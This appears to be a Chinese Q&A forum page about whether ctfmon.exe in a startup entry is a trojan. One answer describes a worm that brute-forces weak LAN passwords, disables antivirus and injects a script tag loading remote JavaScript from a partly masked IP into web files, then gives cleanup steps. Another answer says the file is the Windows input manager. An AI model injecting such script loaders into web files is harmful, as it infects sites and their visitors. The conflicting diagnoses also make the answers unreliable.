根据注册表启动项推断，发现以下可疑文件：c\windows\system32\ctfmon.exe怀疑是木马程序

Question

根据注册表启动项推断，发现以下可疑文件：c\windows\system32\ctfmon.exe怀疑是木马程序,这是怎么回事，该怎么处理一下

Answer 1

这是一个蠕虫病毒。（蠕虫病毒比以前少了很多，但对局域网的影响会很大）
该病毒运行后,会指定的网络上下载病毒程序,并且会搜索局域网内机器,以弱口令进行尝试性连接
一旦连接成功,则判断该机器弱口令是否有足够的权限, 有则向该远程机器发送恶意数据,然后利用windows漏洞来下载程序,予以执行.
1.病毒运行后，产生以下病毒文件
%WINDIR%\ SYSTEM32\tmipo.bat
%WINDIR%\ SYSTEM32\taimpo.txt
2.添加病毒启动项
启动项名:svchost对应路径:%Documents and Settings%\Administrator\桌面\ctfmon.exe
3.病毒会触发taimpo.bat病毒文件,用来关闭"360安全卫士",使用户的安全性能降低.
4.病毒会检测连接的远程机器,当远程机器的登录木马是弱口令时,则会对该机器进行攻击,最后下载adi.vbs到用户机器上.
5.遍历磁盘，查找*.htm、*.PHP、*.ASP等网页文件，开始感染,插入一段JS代码：
script language=javascript src=http://218.**.**.248/qq.js
这段脚本病毒，可能会被用作下载更多的木马程序，利用蠕虫攻击传播，利用下载器种植木马，是目前黑客偷东西惯用的手法。
解决方案：
怕麻烦直接去下载专杀工具： http://bbs.antidu.cn/forum-35-1.html
1.删除病毒生成的三个文件，可使用清理专家的文件粉碎器完成操作。
%WINDIR%\ SYSTEM32\tmipo.bat （%WINDIR%缺省是c:\windows目录）
%WINDIR%\ SYSTEM32\taimpo.txt
%Documents and Settings%\Administrator\桌面\ctfmon.exe（伪装成输入法的程序名）
2.使用金山清理专家的修复功能，将病毒添加的注册表启动项删除。
防范措施：
1.最最重要的，是给系统打补丁，登录系统一定要使用口令，就算是电脑只有自己一个人用，也需要安全的登录口令，口令不能太简单，以免被远程攻击工具猜解。（因为只要电脑接入互联网，就能给木马以机会.）
其它方案基本是相通的，不在缀述！

Answer 2

这个不是病毒，而是WINDOWS输入法管理